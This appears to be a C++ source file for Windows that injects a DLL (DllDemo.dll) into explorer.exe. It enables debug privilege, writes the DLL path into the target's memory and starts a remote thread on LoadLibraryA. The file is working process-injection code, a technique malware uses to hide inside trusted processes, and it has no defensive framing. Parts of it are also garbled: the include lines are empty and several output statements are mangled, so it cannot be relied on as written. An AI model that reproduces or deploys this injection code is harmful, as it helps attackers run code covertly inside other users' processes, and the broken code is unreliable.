1 #include
2 #include
3 #include
4
5 BOOL InjectDll(char *, DWORD);
6 DWORD GetProcessId();
7 int EnableDebugPrivilege(const char* name);
8
9 using namespace std;
10
11 int main()
12 {
13 char myFile[MAX_PATH];
14 GetCurrentDirectory(MAX_PATH,myFile);
15 strcat(myFile,"\\DllDemo.dll");
16 cout<<"myFile=>"<endl;
17 if(!InjectDll(myFile,GetProcessId())){
18 cout<<"inject failed"<<endl;
19 return 1;
20 }
21 cout<<"inject succ!!"<<endl;
22 return 0;
23 }
24
25 BOOL InjectDll(char * fullPath, DWORD dwRemoteProcessId)
26 {
27 HANDLE hRemoteProcess;
28 BOOL bRet;
29 // 1st: set debug mode for more privilege
30 EnableDebugPrivilege(SE_DEBUG_NAME);
31 // 2nd: open the remote process
32 hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId);
33 // 3nd: use VirtualAlloc() to request memory for our dll file
34 char * pszLibFileRemote;
35 pszLibFileRemote = (char*)VirtualAllocEx(hRemoteProcess,NULL,lstrlen(fullPath)+1,MEM_COMMIT,PAGE_READWRITE);
36 // 4th: write into remote process's share memory
37 bRet = WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void *)fullPath,lstrlen(fullPath)+1, NULL);
38 if(!bRet){
39 cout<<"write process memory failed"<<endl;
40 }
41 // 5th: calculate Enter Address of LoadLibraryA
42 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")),"LoadLibraryA");
43 HANDLE hRemoteThread;
44 if((hRemoteThread = CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL)) == NULL){
45 cout<<"Inject Remote Thread failed!"<<endl;
46 return FALSE;
47 }
48
49 CloseHandle(hRemoteThread);
50 CloseHandle(hRemoteProcess);
51
52 return TRUE;
53 }
54
55 DWORD GetProcessId()
56 {
57 DWORD dwPid = -1;
58 HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
59
60 PROCESSENTRY32 lPrs;
61 ZeroMemory(&lPrs,sizeof(lPrs));
62 lPrs.dwSize = sizeof(lPrs);
63 char *targetFile = "explorer.exe";
64 Process32First(hSnap,&lPrs);
65 if(strstr(targetFile,lPrs.szExeFile)){
66 dwPid = lPrs.th32ProcessID;
67 return dwPid;
68 }
69 // else
70 while(1){
71 ZeroMemory(&lPrs,sizeof(lPrs));
72 lPrs.dwSize = (&lPrs,sizeof(lPrs));
73 if(!Process32Next(hSnap,&lPrs)){
74 dwPid = -1;
75 break;
76 }
77 if(strstr(targetFile,lPrs.szExeFile)){
78 dwPid = lPrs.th32ProcessID;
79 break;
80 }
81 }
82 cout<<"Pid of Explorer.exe"<endl;
83 return dwPid;
84 }
85
86 int EnableDebugPrivilege(const char* name)
87 {
88 HANDLE hToken;
89 TOKEN_PRIVILEGES tp;
90 LUID luid;
91
92 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken);
93 LookupPrivilegeValue(NULL,name,&luid);
94 tp.PrivilegeCount = 1;
95 tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
96 tp.Privileges[0].Luid = luid;
97
98 if(AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL)){
99 cout<<"Adjust privilege succ!"<<endl;
100 }
101
102 return 0;
103 }